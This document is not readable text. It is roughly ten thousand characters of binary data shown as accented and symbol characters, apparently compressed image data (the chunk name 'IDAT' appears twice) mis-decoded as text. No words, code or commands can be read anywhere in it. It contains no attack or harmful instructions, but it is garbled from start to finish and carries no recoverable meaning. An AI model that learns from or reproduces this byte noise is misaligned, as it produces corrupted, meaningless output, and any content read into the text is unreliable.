."¤Ï²\ãv\ØŠT®O?jbKÓmªÊèED¥Ùc8ÈÖ‹¯i£™Û-•ÁeRÑ€û-—’PÚÌ8WnéL.‘*J'ý²–aÙÚÙ~u ,Þy˜åW9¸<Ó.ƒmþ¤Jº_ 6Û1”ÌÍ}ÑÉ×qý'ê\쫸\ÆÝ™T …ªÀ5gop~éÜ~4袨9˜RÂYEÎã^ hñÎZ£m[üƒ.‚Š%=ŒÐï2^ôHëçç™\èÒC­˜Ü¸Ày[À|V%i½—ÑP‘Ñwö‘ø„Í0 X^ªSöŒOì ÜB‡x¢ú¤À3ÈÙ„ÑÖ‡2 _œ Æeÿ0µE1ñìcü0 ¢üKÖ®¨+L–œ,•†ñ³6\í%MO7xWêPüQ~‘4Hº²²^RÙ\Y×5]ó—7éŠNÅ„¦üèÖÎüæ>ÓêI7§*ˆ>ÈbK$ƨ3m»É0hé¾µ÷CœC[‘mG:<Èí祤\~|Ý쉇=®ãú-NÓÌâ;ïYs$Z»Ô1€ÍÁ²ÏLÓ8É^Pî‡ê‚‹CWkYEÝn¨UQ]•/#UQoUTt—ª€×tûü,Hõ&¢#¨çí…Ǥ²Ý¿Q^sEH=0 Ox:4GMDË M3ñè¦n:ˆˆžÖ«‹zÝHÁŸ°ˆ¶M–Qü'D¥Q¢M ƒ¶qm^è©Üd”¹ª×"ìô6¸@DC/¢¾$¬S›wÎ"šÖ´j3Ô¥í¹®÷öþñ;\@Ñùé²^˜Ë·¦t™Š §4GšÏ²ˆ(dÚrßÌ‚"êõ3†·#ëuæÀˆèáDë¸~´ˆ:ç ²H긨¦ Üt¨òë»]O­ÝvÅ^H:qnïÚ m4Ôªæ¾È[÷Ë̉G+àåK´Øý+ÑBûk•Üñ»rîr*ÄòÎÒ=ùÏÙÆÞ€QÆŒ±Ñ®U§%Ýò~ˆVÄžY!²%‚€TOÓòKpMàCÇEê½ŒŽ ®¹|ЂìGG'Í6tæÉ'RaÐFnˆ¦_«ÍÆö/¡¶îéJ’ô¹‚Ùù¯õã4žƒ\6tn×m½n—IVD«_°Øp£GîÙOÀÜtÝ6ŠåNWú <Ò-¿¡à=ìNCP·sس”sÃ`º oœ¨=lÖÔ®Q{¢Çu\¿a°(ª­À?¨ã:Y$mßÒîi‘g‹Ü;·¾™ž0™’ÎV¿ÉäÆŠ.æ…Z‚o”"-Žxoú¢mÿÝûìB–¯Ï|ÇE´ß^:o;½1D]éÞÒ6ÀN…Àí Þg7 ‡nÖ…AÏ ëçr@ a°É98De@—ĆΤ-‹2ßð0OרÙv³ˆžÿíÐ0E.¶bV¦Ó¨‚FÏ«.>à>hÍBè&€Ÿ\Eô;ÐçbÞÊÞË%=— “x¦5L:šKQ=8DÅV;Òu͇©òE":û‚±zRia §%*ˆˆïÏæ9jRý ž°7ÿº2Œ‰ºCAèJ+å(ç×qýøÁ¢ì§ÍŠÃ6èLtrá°¯¿QtÝÑ€ƒ¼¦šûö†¼¿æK=ðçíœnM忍ÑÐ-ê§5e(6ô»i¢¥‡ÿíl\™Û½^ƒÝ¦ÀÁ[« èP RWôTå&Ö±Qàª&:Q· ˜¨JšÅ麂þe[ë?Ÿr$ݯ‘ƒI‘°À":V¤Zn…FèhJ€ós<†ªÒ*ÎàMK8@Šœ0GL½—‹Ü»Ÿ¶šn3.÷Ä•ú®T¶ãØâ×o%ùî¼Ð!ÀGó {¡ÑÜÉÑ—‘”#V†:Å+c· „v\D”{xŸuª«“¦ÓºnО(?"µúÉ×qýwÍN´ãýuª3º†¦üg¶Awšèv .Îõ裗ޏ "ÑQÌt¡ZÜ8–”IßÒ*…HQcéþñõUV[–ÿqÉ¡ÙP*>&0£vnüû*54²¹ÊÝÈøwnœº}OÔAå˜DŠD”‚MΨ¡#¬èìÀLì¬? U¢ùYVd±–K:H-7Z'Úí·æ5ø­¬÷2²hœÛá°lPy+Z§ÑÈëúBŸZ[Óó™*zP9·XkØ‘=?Ó\¦Ëò/YÆpy\¨ÕIõ‹kÚž>8·üÚ_ZV›’áÐ&odÖNzÏS‹Â`à÷¥™@8Cyû»¼ú2âÆÍáDë¸~z9WË·³ä·H*wtèI ÇHxô•LÄœ /×1‰våÛND]/ün³ÀêDµ¦æwØ¿,¢SÑ“щ"ÅÎ"¢ã®|{û{Í÷ìü=ï÷õz}lE¹é2ÁÜ Ê~.jBî Dtp %Jà–é‰ÚEÑ "º%C[Æey5†lš½Å‰ í¯Ì};=oéâ –«F”]q«øãÓÖ£C#ÐK »h…c‹°¦9ÁÌn'¹Š(õ2WQ_í{6v.ͽÑ-%úÛçǺ]J*L]˜I®|VòÃt>Z/,¢±ò/õä¦oÌ߉(ôÿw³ë,¢N§ú=®CDüž¨Mâ†ñ"#¡¿ÝM¹ÀôÈÎr½”CÒ­÷Áw½Q:ú|?Fäm´(„¡‘%€E^üÉ@·Ûóùëk|>¿s¢·¿ÑPr¢ëR‹n¸óIÊwT=|¼ òRp?ªDûŠÏiöß6F›‡Âu L4έÉg/ÈÀ#ã×WÍeÑ<—-Y¹ÖâCq¨þk\pÑð ƒs¦n¶|ÊÏ(,Œr®ë¶k˜)hWÔÅ2G•-ç³ß·”߆Ï=yé M"Ï<œB¢-k¹ùGÐϯ9Y‚q¤´>)}}®%qð‚]h9ù‘Y‚¦%zª}…—«Ã ¥ü"„V:Dô¸ýÑ"Ê®3¶E›!£ÙJh%#À"†i÷a>è¾0ë‚AÎDع陸‚‚ÿ†¶ é_çx˜cOü`F%IÝNÛ5ÛªlD—?UsoVdÆŽ3»,²yx^Óý|¦œÏíQ o/ð @;t†Ó22}TFvË·5.!ÑŠÖkŽx:§"¢­”Ky¢ŒÐßôwÙ‹~~B¢h1l¢i5ê€ùµ}©Ó@AÝhõçÖ\\¡¡R]`ÓND³»–fkI*ú›Oc #gÓ=ÚŸ.Å ålú­çävOôUº¯©d©ÕGv êœ;’ЊeX§4 8h]©«¦%Tv¨saõL›¼†÷ˆÚí²ð*/€ RÓ=Dô¸ýáN”<¸AHíܨ‹ö§!QÐÂÚí·¸nH/n»Êå†î‰zÉ…<oÌ/½ð§'ªæVýo-Ð`œ¼ÙÐEÓr«IÏ-mžmomƶ¡T[ËVfq‹°.£CêêùdbO”P¡ "©ž¨”Ƀ>Ö´ÈXÑÈóA`ËvÓº#§‹žÏgt¢€öq~^SL1Á󇩂™#3m`ó£UŽÝëÙð V¢qÌÇOG–½Ø—ÂÆ¥ë–eé‰!}icSë“Ü®‘TnÝÆå¹e¯yD$³¿•­›i&ü½*Û–ßÍerëõz]/%­§¾À“Æí•A¢2ËEB8 ÞOƉ’äz³lŠg£–è]4”Ï'z\Çõã{¢sÅÙÍsÜɨ3"ÊèÜЭ# Œ¨›ÞGbî¯hÉÂwfþeïj{ÜİŒm„"±àk Hÿÿ#Ïóê1dwÛ~ÚJøzí5›äBx<3Ï‹mg¢Ñ¿Íõµ{X£¢Z^DÇ?QÎæœ*ˆjçøö’Ð9&mC0 zÊë€h­ÑÅ¥8òÄT*q…إ–&î%€¨VA³ j¸öÀ>¦jAëƒ(ݲ ë£vbÛJÔUƒBC/sU䢿SM*¹€(‘mUøú†eô5ˆJ)ZÞ@Îi¬ä"öü›ÔFx]±TÌÈEZ‡ ð>ß;Q’®BÊé2,e­¹|šàÅŽHøö©§;¢³$(ˆ ¢Ñeÿ]ÕÂúÑk] úÃu¢o*Mkºð¶­šÄ3•Ò†Õþ®Š4TmˆK|ãvtBÓÖD7²ÏÂ9TÔ°tŠRµ®TÃë×øü[RîÄÑ`–ô*¨Z~ÏœaÙ#]Ägÿ&"ódœÐ:H™«:´·ƒÓøîÐ[ÊgpÝ!1ÁƒÍ D?³ &¨%<´ Z$Í¥üg•ZJ7 nA…ÆŽÃ5–ÈÄA´çÉêaÊ[ó¿@rʃg3 ƒ¬n¾AèÒ¾ÆJЕ´Tþ°Èîx/wy¾¶´§ÝK§¶²Ó¨(÷q²l¸F—yyÁ¥6¯9ç=tG–QkP ±­–é•Äs>ºxbÅšžcÒtj¯·7¨†0†š‘ëIBû&Œæ®áÜ$µlF¢¿xJ7½C¹iÄ6RˆZCý† P—Ãh6ÁB*4r9 h†g"kÚMõfŽ âž„2Ý6lÔlŸî¯u¸ÏÝx'÷ÜeÛ€cõd(EoÝW0ÿžÛ°ç¼Ô)¹]ŒÖ=ã̶aíq7B ¹Fy8í4÷Âð±? ˜­e°W©¨§ãBçcOŠÞF^ z­ D0ˆêêsÒ¹¾S‡ÒuÛòsÝ‘Š©³Ñj'~M üúRÞb ÑPyEoªÐ`ltCã xjñâˆ²Ô HØ|Þ?±Á{C[­´Î±™N£8:)% _Ð \Ê5µ”*¬ˆ°LsÔSÏÃéTí L¹"lÖ׃¾Ö6ª]»+HE EɈëåc–‹)ª%:T+Qˆ‰£:vɾÒjm¬¬«N!rô—ݹ›Üpr}¯D循vjo8_•…3øw"i ÜË– ãgß­¸g `»aÃvDÃR°oÙ@8›Ð!¬ùu/·C,Zé‹ßÛ„DëÈIiõ)Ø7àŸ•¤U ºÀ¬cþ¯g§bH€» 'ù–YÄfVÕ»RÝ“cåf7]¡ D¯u迢ɦXaqŠÓ©–s”Þƒ¨"¢;ˆmó¶éÜ*á¤Uâ!pyãþwàæ¶¦€ £DmjQÑX.µÿ¿¥=ˆ? #‡ Q Kwª­PE ç:¬nÆ(p[Y·vÒE8ã€aD{fùV£¿xpö¯NµåÚ (Š~=2-ˆŽªU!é‡1+R½ÝÑ„þ5ìtÜ­ÏB€†/yn¢U‡ŠYqG_'ãlÓßô·Ø(_DC·ÚKáîåYqÏ€» !½‹µ.e?³@¹y0-´„ŽÁëž3ƒh„ï-Äw#Šî/ð[ŠïçsY9±\ŽØý‰}]ÀQQ.7Cx@/ß‚¨7 êõ,5:Ÿ ¢ 9áÑk]ë炨ÅPãŽkÚ¸Ü2l2"åûíêh´¶ôŒ?›1a10k#»Àú½ºEãOÄÿ¶©HcER¹JÕYbS¹âÕ|žp‘ý fîx?ƒªšÊÕ–éd]ó tñ;Z;]W‰SoXÑjSl}ë¹N®ÄmŽåN‹Ø¥<qåÆ•è„ ŠùâZ€RíFïíCxÇgËùrÚ+ïÙ´¥|¤î3[ZÔB4ÄÖ^¢ídâ‹ì­R†“5D ¶!t¥N6ݪ’˜3èo¥’ôs%ÉΘ1ʪÐrÇ`†šK‘ºm”-Zžù±æ…0¹ßóêA€º1„~Œµ“_þ¾îÞ`'°âÝç“ÆEL8f*ÓåDVÖÛÄpáÑk]ëQŽQ/â8'eR‹T§¦.€)‰Tâb£Š­‹–Ÿ‡püVÜR;¹£‡”ì$.“ž&ñš¸óçnC¹È~Œ`Lt âŒãdÔ— AÒÉ¥ñá8I¤õmºgð3ŸÕ׊,s+UVõªo7 gãrMwqâ]_ù=ìÞ¸2©ÿ­¼F»`|ã÷`;Ò:¥‡B!ºˆ lÝ>Y~ðgÕ~ÞK6Mçg=ŒU߃gÀpèù®©o^—×óY~=ÉæJÛ«F—vô¾¤"Yj>`(ñ‹fq´â‘¾çÍ]tV}™-\ëZ?X$ô[ÇÎ ©lºÂ_lo¦w«Vc©Û÷ΚèžüéT^cXô} Œå§ž·ÊÚ­ùÖ1mëk`'Šác^n·ûó>þ¥s®ÒrL-*ÀT5•“çMl¡Í&â „jG B`µ1ÔbÜY×Á“—f¬tÉQŒïVNe8$yŽññ©7 …KP ïÆz5BaqÁ„@gÓÁmXb"NBqy€ÂGѳjRæ­x®…¨Šã’y˜ÀÐã³¼fÑî¡„e0År9W‚½òÔ:¢D–$sƒN)éz±Ï*Ü IDAT·/LQ+¿žc•ß.ÃÂpYû€îùŠkÁJ;ðb•…’'õdBRÐO•7«IN D¯u­m¶ ,\©ˆŒ:4 ˆ‚Mé—©FX&¸l&µÔÕU¦l,vÜ;’IüBô`HäeæZýK çð—ªI è ³dÑ?"æ¾K>ц(Õž¢ÓD!|ø&¶÷Z-þS«ÔM4§5¢jýwÑ$üàFh‚ Ú T—úêª Ö©4H„ý3ÅiÐ$MK«{« ™àDÃ;•ºÕ–¢îÐåPµ¤¶P)¬¦ýÛ‚¨ÛïD×î‹åa^š†×ºv=LKx7’O §¹ÑXêÙ¸ç!owªEíþ œz;l‡<$L/e­ÏC¬ Ú5 ê+ˆJ0»ãJYð|Z\ z­ D¶N4é Nš»N¡õÑD§¦ÓÖ^êZ–QËjÓ ßÙ©ÆßŠšÜP!ª6ñÎ ¥‡±a0ÿÊD²iØnãx?[üñ‚ñk7?£|§‰âôÚ¶aé[è1:'‘ã1â%ÚÙ¯¤Õ¿1-KV¢4…6ãºNLÎbÑÄrVêTòMŠ´7éÓßó:ϵÕ‘ZÉdÇG¹f\kBùY(ëå“AOƒ²µqý›e»NRVÙq_rWû~’zr )çç´~¢^ µü¥<Ô¢+’øªf®Dã#%¼W쇩I-‘°}j"Î ä.ý2°¨tHÀ/OégìÜB%”Ë®º¾Éè‹Î›°eѢ׺@ôGW¢¤Mƃ>9iêâeY…ÜaK¦ÙTÑ´jãm—;Ä—Ø4«fJj„¿ÑÍ%¡']ÆCŒGLÛÍ=æ’Êí¥Ä( aÓ£Q¯ü…ÿ¼$‡UMÈtk8EÓífÍónK6Œ"gs\{#o±¦OÕÅÏ·\NÖºTÊR¢…©/è>Ü'ÁPyq“ˆF¡Š&ÜR”vi0=ÁwÞ ˆVʼnxÚÎaƹh‘¨®ëfcJQ1„èød;Ùz2âËŸuxØðŒ¿T¢o`ÎKoÐÓä£!ßÈÏ;Øøyï–½Ç3K!^Úã‘@|ÚûˆHø(°Q´B(Ü Üìê× ˜FËþH¾ò½d4Ùa@LÇd8cEI=† 7+Îâ•âr­kýpu<5(ªôØÍ¼9Ž˜¾eç§åP6¸·óÍÖïï˜ ú•cQË*ò:=sUCuô_—µ}+UÈä?á 5™hÏ/”/ÆaávÓþgBD_ÃCjH)Eõ#HÆ1ÖûØZ²_E²é‘- þ$UF~âaÍØÏ½ NŽã¤£QN퀵:Â'bìEí¬ÚF={žc" Ÿ=p§¹ÑÖ³ÈGyqéÚšh[6Ä"W[!N”ΑØ8‰|ú}ÏyÛÀ¥Ï¡ ýÞ§¢ ¦˜èmt[ ³:±éQ¶³‹~D!öEzàã[»åo¯-çÄ9>û, ŽB_H½`Bõ)2vM„»Ø¹×ºÖ¿P‰ö• kgøЄèÄÔõMm ÄÈæJ÷‰æÓÅVqœkÕÏËÐ(­\¯4ÕÐTk‡zóóåúPŠ„×m¥è\4~_ŽÚ¼n„r3ô¦õ+€¢ïϰ›>lªûÛÕMõÀÈf¡ òƒ•Ȩ߮d¨5Ÿ†³Š®³´lÇ»öœÇV:J1*“]6û£Yï ü wˆç¾|ðÕÚ y¢øøøÐôä}yÓÍE™èÁÚƒõÜ¥g¬ŽîèkÔÔ®ÐÒÅÿï>,Oº€ã-èC!t¤p<QœÞbÝlýé@÷X†B?·*w-ÇQ(Í#žOìèþÏÞµí&$Q5}‘…äØ=‹ìc øÿ\×½Ú†ÌhŸXÉ­™„I2Äðéª:÷®ÏíMHYušàw® €Á6ÍæÆ„~£ïí;zß ¢ç:×÷‹¬"לâÚ¹ ¢ÂXà ˆVçð¾¢ Ç×ÜÌCÿR‰êUÇ¢95$\3Ìoû¹;%é$€è¿1tïÇ&îMù¹ Ü¾5jîu°¯q¤Ø¼*3×äDæ½HÝr©/-:UkPypÁèX¢Ê­þ*켯 sY»‡èmöbÖ+2‡±3’ÃE†µãvú®[8Ÿ:`¦8=A£gö]vüWä¦.‚( Y‚ËÞSÒ/™ )iœØâž‡l6‰òZd:3p¹àÙ¹­ëÖ(,_ráí¥}\Ý8-O¥@Ž žˆífyv+øKFŒéïËF*gÛùQ›OÄ ¢ç:Aô»ATß·¡šh –’ÍBœ.Ä^‡ñFï"8.ö°l޹{QãDÿQè’Lééôé< ÌþSº- }ĵ#ŸrˆÍzK&ºjâöFÎ5yË•U¡ƒfˆ9pR]æ’÷& -ˆ:ø{ã5¡`êþ1ŒkóÕÝ3‘¸„’1hû¡%ínëç:ØCáØQw/ŽX$Ö·Ò¦áj_,6=>˜Žõ«¬oÁIdëÅï(k¼/sìܽTÙg«êD ðö}Ëãõx±JöúèÏ)D‘kây–“î 0Ý”‚\Ôðˆ0tîîâ󈯸wH]  ¤AzCÑ ²K™&íF¢;ûGÛam ß9Aô\'ˆ~{ŠKUáJAóm‘Ðû<˜•J [õ­æÂg#=EŠ/ÞÕ+ºeWf纠8"±ÖQ-¢ÉC¨û÷*”ÍhF¬Ì~ýgѨdRêhLiDƒ€¦…o:­Èp]W–sV‚Õ=K·çVÄpÓ^v­+ç=ƒ»—P\S ¡IúVB1×”¬‚¢½ (Üø¡†®7^úÏUƾèÄ[ªíˆÔuP f<ìŽ< LÎþ"fÆPäÒꜳ–÷]»9æÖⲄ”Û®¤VLŠ™ž+™àÎØÙ½ö¨]Ñ?*å)§¸Ö 4+¿®€[Œã\*BÓ8z˄ܭ¯û]m60Ñ¥›÷­'>Ýʯ†½AËD¦ô¸¥`Jœ2ÌyTyIélçžë\ÿy¢b5O|Ðd(—-;о˜Œ/_ujÏ«gsî¸Ã/ž i_ƒFgÞòÿ°Bå9•o(Ú·ìÜJï·w_Vb‰w¸*ÏUKP+E»%Ýþýy­F¹Õ4š(WÝ6ÙÛWù¥µn¨Å[6d¬·ëÿƒhD —sh"d&ª´¢^`¶{¦ÔÎD¡ê,–,8•çØæÔ]ÎDÕh!e¥¨qT…Á¦œ˜±ÑWé4‘9Ej‚‹<**Î*ëVÈx@¾Îšûœâ×çöi^p|‰…g®Ïçy¡€ŸqL±Pp#‚@ÑnåRtî–)?ÁÛáþšépóH»HÚ4À`::-KÁI0þ>˜d¶óuÏÐC‰Í ¢ç:Aô›‰E:5ëòˆ(%²èžú ÚÖ®‰è´¢ „:Í‹Ù鿦Ý¡(Ö-’lF ¢íÃ’å_A¨6ä‚Õhÿ Q× B"FŒÛi,j´"ê‚6γ"v¹»Õ®½Á…žEE#ó$Hlž›¼……¢©QS…ȉ%½Ì«€h?ä,Dûú9¢ÃD›‘4‚¨ö—Á÷¯1ým@Ô"LD£ÑPŽiBÁ“sáÔˆÂ9ËfòTš­S-lôD#ÎúX ˜|‡@ÈÙ•Ö[:ˆä~ÐÍIâä`h¦GD»nð;£eª]¶"ÿu¿½ºå¢ÛÍínÉD©ÛNÞD]%ZTödÎ%'ˆžëÑ/Ÿ‰V–¯j‰—­tߤu‡½Âä(1¡øs`sоmËÐÏ®¹á貺ËÜÎÉigônþÖÊ•Ñk€ÈHȘ¤¨T¢ýŸ̶$µÐ“¾wd\¾ñ3-G«Ña鲆•x‰5w‹íªÚá豚õ6­½UbŽZDw 0nWú«÷ÅÕ:ÔuuEE:Èn€ˆÅýMz»KW’Â(ʘ ³ž¢ED¿Á*UÊ3‰JªFSƒÄ¬"mçî4TB,Rö*)i‚H•)1¡æÒ Cý?*’ Ëáê²®ÏÜßèºV†ÐíkPRÎhÏ–Ãã8î Qñj¨óŒ5-x0Àæ`ž_÷ûc»<ÓlG¦Nòdz‚ñ}`\/–¹‹R2ïfJŸ“Xt®s}±N4Èuª-ã-ô"™T¢@uNuË…fã?›Åy†'è6P㙤· Üý‹*ÉXFÒÌ=£Gsœ6Éšä„PbÌ+¥rô·þkQãÄÐ7ßãv3:h'WĘõmèÃV«xkX7õa†öÉÕs¦Žµ–.øÅOGÉ tD®ÔyÞiB{õ̽ö¬"uH ®ºÖó½AÈWL$Ó¹ÀôS·5² ,ïÐçœr©#+½¹_õ]¢ÖD¤wÉÑlúeûVk8ôÇé´NYQy˜[.lXºSÌQÍ5Á8WžŸ[df ù*¥šßü}iUw£lÑóÓ¤Nýhî`¯™iY!ëuÁ!Œï1t¨$wyfÑÒ·cz.$§YG $¥¨¬0ÚþÁ‘uÈ-%ÜŽMDÐìžæÂ6Il:Aô\'ˆ~-ˆ27’F‹®ÉÈZQr*‚KÍ…,gÂ.òR’ªØp%ìV±Z*üÖ¬5q§jñý0Ð*Q¾æ$³U8ŽDScEÿ‰[Ä@Z€¡»•¢ýÏŸ?$s¹Ùt´×”MÆUtà/0Œ²½ÁÐÕ”¡½Dr«`h‘SÝ@…wº œÜZhˆuÞSµ<­³b¾5˜”õæJØïìúÖ5—Ëj˜‡öø’\À!Á³¼´k$u]L:d¬>2ˆòÓ#ÁnÂ\ ƒ|˰¡œÎ;+q„‚;4ä]¶&(BOB4FS 7Â÷^‹ÅE eÚâ.#`ì§öqéSœ¦øHÓ %,¹Ëceº}ÊÏuƒä8Ò¾˜Ç0#¥ðv” tÁ—^ÁAG´`èëDÙ8òÎgO=× ¢ß ¢jjêŠI/3 ÝqÊûJ´©BÖ å}Iº/2Ã>œÌ•Ž–d–|ü×Q"Ú^µ?°ysJo]TLC(ZkÆ©(€¨ÍDwþ¸ÊÂÂá”z¹½áì°·Éd†è2\†y.Öƒm 4snhdB¼‹ˆ–*î¼rÑ| àã*QëÀÿEǺáHÉ¥îýw®Âκ®Û&l ºlwFOqÊÄÞ¡€Ó½ã>sìS‹ÏŠä‹«£ \ÇÉù–™d ?@¥“‚– AL·=ÅBÜ L{A°µ¥ê”ß™‰[ÇAèØ=RR›ïNÝÜÅ V¡‘CZÄ7³„,P§’ " úô®S@®»nDFy Ä ÿ?’©ž z®s}s;wŒšB)ûÿ9xÿãÜÇ{d7×ëŠErki*Œ·DÙô÷äí]·vscrµðÉ©þ³oQhù8é×y€†.¤,¢BÑe;…Á©0%T|u#PKGñµ)6A'gqž÷µ¨ðIƒHmÃá1”šû ºf¬(Q.ŒÏùãls‡B¥Š¾R¾‹ó.¢—­äÐÌ}ºÐ§ Ù¨´¤qލZKÌx–R³ìBáx/GóRØî]#;U/LNz+ƒ}äÌJ]ÕL.\ÿeïÚvÜD‚¨ÚÝR›&±ÌF²ýÿ¹tÝ ìì« “ÉÆ3™_†Ã©:—`X?MAp„[׬µ\Ë«ghî.±kB"ý”W¿=©—Ì9)»<)xzpp䘠#Â80(y¹“0™HyE/pæ*VÈ>AôÏyßåÛ¡(lù~f¢úB¦Õ=¼²MQ "oÓEh5å£å¾¼–þ Ù~°ðœTeçåÖÏ ¢Ü @¿‚he ÑDl…Ö”Ö´Ê5cÓdµ a CŒõÑó8ŸQ \5e&m nEE7„aÚ(=ŒN¾‚‰Ö¡¼íÎäâÊŒíËÈõ_!ó™cî’¡¢R#mËÑ%šÌ(ø u´¹«ÐlU®-CwûµCѦJ0GÂNÎ(eâ«´SK¬­§Ý²¶"Qj¯ætry“Ò ùÒ­èÞØ¢¤ŒG¡3.“sŠòF™Ö«y\4›èJñ —s“BWdR¥ ”& y ³)ÅŒ5ÛºWßTÞµù`B.å>pèA2ê#ÇD'—*/ý–‰r:´ ñJ㈹æÎX/ñE~¹¤£ðv~ˆàÆZ­v¨†–O4/ÛðØ€t½?ûÕNsßã,+rU'µ¹¤­¢/K‹“(nåöv¿ç UÄÂcÂhŒfs‚èyœ úË J'8±NR‘?•eH=K»ÆŒ]Æ'±Ð@¦Ñ£tè»$7™EfÒ¸XÑ‘(™¨¸S>ÚO“ï«ü¢+r¨.Ô:õK¹þ)W4‹>Ì:Tèf2ÐŒ#ìA?ÎLñ™úGC C­Í†®B|èGK²Ü“»ÄþžNKÕö&¢ Îú‹º[ ½Ù‰ò/ ¤/R':¸Ðúg–Ý6m×aÛ•Vÿœç`úEý•Sã­tØ©¤j2–u;}.?Y4}•Zƒä˃(ò=p³S‘ô´%É™:WA×\X޵•ζSýeAô‰"«È$!Ûº\,mALÞà¶à¤)×$ò9úpQ\ÛW>AôCYú5 M¯~lÕj¢—t¨*âÜ`ŒNíJ_Õ0:Þ>%{0¯I35¸Ìüd¢çq¿¢¨dø¢ÆÈD§cõˆqˆ¤J1|ô„†}:Ÿ#¢°ú3îC Ñ]rnú²QÍ6ïïã4Äí{n­Ù\®8ѽ0*ÅDyuŽ…<£¢beìäþMñWBø¤ý½‚ÎñPZºÎÅ?¹ £V¢˜‡Ãìˆó'û§ŒsñÔ¼ô£4l»¨?vå&:Ò0wdVÍDÔ‚(|YÑûº!t™Ñ=ŠÅqeHj¤+Ñà*õàV¢íŠ©fû“òMy'Á‡¯(ª¤Ô0É}·\°çxð°0åäÀz6¼”ƒò•‹"ÉÙ(ZAôÜÞ¶ßí½@‘£Yî°ksAEC‘Û ëÛ@ÔlÌàÁ6P›l^smfQ®ë¼ó8:í}¢ØGvoà$E¤,(–Têf n üî'óÌD”,5¿ÌÆÅjÕÙÍèaò%ÝýÉÙ ÃM³Y .Q˜€Ãÿ§¡U˜LȇѓöÅFA#ý‘™·…¢*„L“a¢¤¹ªÌE[˜îû=÷÷KÇÃ\Dž×ZŒìh™Áþ»}~h NTS“]õ|Óå6Z¡À\@ÔÏ‘ •v¢úäÆHÓ\Ü¥ž z'ˆþ,ˆ‚–âÒ®ŸÛx¸O÷¬®vG×u»HOîiiC8ªì ¢Œ ¡"É ¥ÿå+†ò|RC‹ÌæÏ• µÅn”+áF¦9äØÞŽG–ú·~Þ°‚ðÞþ\·ÛƒûL¸óLJÏö”§¸­°‹ü&Œ’J¾BwŒ ¾NŠhtUF4E÷kÏf-§ x™Ñ#*ñø®¼Å.tG1ÀØ­)ÝÎQ»ý+‹È žø¥É~ËíÙwùã>¼}Ž}ºÉ#ɲù¸qÚµ‡W[I7µwyBL¶¡‡ZÊÍ·P4ÿÄä] tâá*‡m”úY@M½¬º…ÇíIþ©çn :<çw?ß“h{!RP®—"ï@é§¢£Í.\˜¾úŲ\16P†°ÄDÏãÑŸÑËDƒKRà$ov7ÃP:)ì@)%PÝ䚣¿:C…LfÐðŠ4úIæ!Ú/©27ê×:†Ï þ+O`¿Ïó[A€Ôƒ(úEËÍ:@#Ãå|\Ùš zѲö°qªv0M­>ÌÒÉÊR“ã4—B‹\êÑ4í³sиuvo¡Þÿ®ÃÅÝŸs#¢tëlô àfÑwC½“z•Ó®Ö$ŸŠ.ÖZi;4e–k@4àdÔƒ(ÜSQ-åžÜÄVü,ˆRú¨'­²âv%ÐlMgOW¨þ„äý‹ÉZ Ýúå¢TÑúf½ðÒT øÚ•åÒõ"ƒèÉDÏã<~xœ{©(«Ä•P‚ëôAÞ¢2åâ—–köÖ Á°‹‘{>¾pQæ&+°5[@_ÇíJ ùc*`pÛÈN14phú´öëã ò¢ DGÑ›dúq}¨£¡~*ÑaŸD ¨3Ù´[ó­xW§UÂEÆŸLß“»pˆ`·‰E¤+Š57·Æx¨Mw¸CQÔQ¿KqZ¤–!:ÒK¾Ïý&¿Kß/AeEAŸãÊ0ÂáŽÑ€èNœ+ £Žóõeþ ðÒM4»Eò‰mñ¼€øt(/ÅDúÎlE[„-…ý5œúµ˜ÚÝñl-Æÿ2óà¾_bÕ€ÒPá7‘D†FL„ÈA^ïˆ.u¯L×úØËÉDÏã<~D+òÈÎn?÷]w·“M.ê¤pK’còAòv^c¥äí¨tê—BìY·YÌ¡êL0–‰f3ÌÔèz<#…ÏqAÑí•ÿ³¼¤Ó…6Æ{”Ç£ÝPôöÀ ®Ää3ËIMí¶„ÎÊÜ´à87ú|F¾` ”\®„}›jŒŸ$ÉIÂì]~ ñŸvž»è³ ›ˆ7¹‘f… ÅÓ±Øf7m-toîäà­5Ü[Mæ þ]YûæäÑ .¬Å.Q¹­û] IDATB¡0Òåi.K¾4e!ØM¾êZ>Hç.ö¦¶â´e8@t’h*—§ŒÅv“«l¹£€yÐwRïoÛ£hÖiïºFï©Ñ¼º+˰²8«hïðêg^çh—ßô®ÍàO=DD_8.ïÁ¥uC…pïàtÆ×õÆ|xh´æ™+59B¶ÓF¦mÑâ·‰®:Î÷޽*.RPÿ áUÙ †…$éN4abxSÊNK?¿KSŠI³ZXÀº#qB丳Å,H C‡ñÓå=Œv"rzÚ`˜œä96Xʉ “è|1¯h™ÿ¹Ç,JðB­ yHßý‚ôDýü¼Ön³tûˆq|(*‚È?H<`fídZ.o$VÁ´ÓtæB2R` ¢kkD?3QÞM4?NÍÆ§›Cã«iŠÆÁ^W ¾v«h†K¼÷â£]ú´+z1{ˆÈ!Çmµ§ºÕ¦©öÚõµ=סƒ§éÝB‚¯l€¡wöK[D IWþ‰ ŠB#ûÒÕ$sz™"Ã^3·ÐÏ奩+1žO=¯D/ˆ¢4ºð”Ë++Qœ¢á®.b‡9C ¡°õ±"L*Õ‚'“•~Û»b›QÍ0Ú ‹ÊÖÜ’~è; Í\[&*öI£4>Òú(Ú/2’]ôƒZÐ\X¡«¦Ê Õ@wÍ m_ ¸ÂúSçVõ¸l:KØAçÙ®&çmÃxrã%_ü_¡Ë< ½c„¼”^=¯A©»¾¦vzUֈέ{õý³]0q‘v*µ¬%ÆÒÔȈB×ÕÅÕé…f[éj@÷&nJÓž‰>ŽV¢Âf©Î†¬—köûÐeé–éóPT4lß±´Ëkj?½·¯ÀB¯a´Á3*µÉ‡8~íÃËå*è)ÒvD]P<·ÓãL,:¯óúÕ¥ÜähHFûxŒšAo{&Ñã qÒñ[ÊÙE¡«ãÏ<ö”¹]L(ñÅÅ[[6f‰B+VßòsÒ~¤« ]a¤P;%6V±ëŒ_›Ñþ¡hg¸ƒåúIçàE(Cç̘4ýCÑœ"Sâ¢ÐáBá ®Â¥q+Ñè’åá;!—c¢º$¢cÎåÙÞnÇ ?–©ÙU:E‰UwOhÕ,TêÓ  •œ’üª!—)mje9|¾Ñá´}¥g¤ö¶l ”înðkµ8’Ü«k=‰:>+ÞxŠ‹Ú7šæNsdçÝRŠ¿žS»|º÷Þ§…ÂøGJÛ.l–F§ iשx•8p»A.ÿgžÛçܾÎìÜó:¯_ÌD¯bé†åMIj>«ZY<šµÅWn#{#‰!R’"WÈrÌGÕœR|•‹é2Œˆ–·™oÈèNe$ᦼ¬kŒÎ%’m&à¢ó2ý 